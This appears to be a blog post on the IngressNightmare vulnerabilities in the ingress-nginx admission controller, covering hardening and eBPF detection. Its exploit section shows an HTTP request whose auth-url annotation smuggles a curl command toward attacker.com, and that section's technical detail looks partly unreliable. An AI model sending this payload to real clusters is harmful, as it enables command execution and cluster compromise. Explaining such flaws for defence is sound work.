Enhanced Ingress-NGINX Controller Security Analysis
Enhanced Ingress-NGINX Controller Security Analysis
The IngressNightmare Vulnerabilities (CVE-2025 Series)
In March 2025, security researchers disclosed four critical vulnerabilities enabling full cluster compromise through the ingress-nginx admission controller[^2][^9]. These vulnerabilities exploit configuration injection flaws in:
- auth-url annotation (CVE-2025-24514)
- auth-tls-match-cn annotation (CVE-2025-1097)
- mirror-target/mirror-host (CVE-2025-1098)
- Admission Controller RCE (CVE-2025-1974 CVSS 9.8)
Technical Exploit Chain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /networking/v1/ingresses HTTP/1.1
Host: admission-controller:8443
Content-Type: application/json
{
"apiVersion": "networking.k8s.io/v1",
"kind": "Ingress",
"metadata": {
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://attacker.com/$(curl${IFS}malicious.payload)"
}
}
}
This payload exploits CVE-2025-24514 to execute arbitrary commands during NGINX configuration validation[^9].
Enhanced Mitigation Strategies
1. Admission Controller Hardening
1
2
3
4
5
6
# Restrict admission controller network exposure
kubectl patch svc ingress-nginx-controller-admission -p '{"spec":{"type":"ClusterIP"}}'
2. Runtime Security
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# eBPF-based detection with Tetragon
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
spec:
kprobes:
- call: "execve"
syscall: true
args:
- index: 0
type: "string"
selectors:
- matchArgs:
- index: 0
operator: "Prefix"
values: ["/usr/local/nginx"]
This policy detects suspicious process executions in ingress-nginx pods[^8]. ```
This post is licensed under CC BY 4.0 by the author.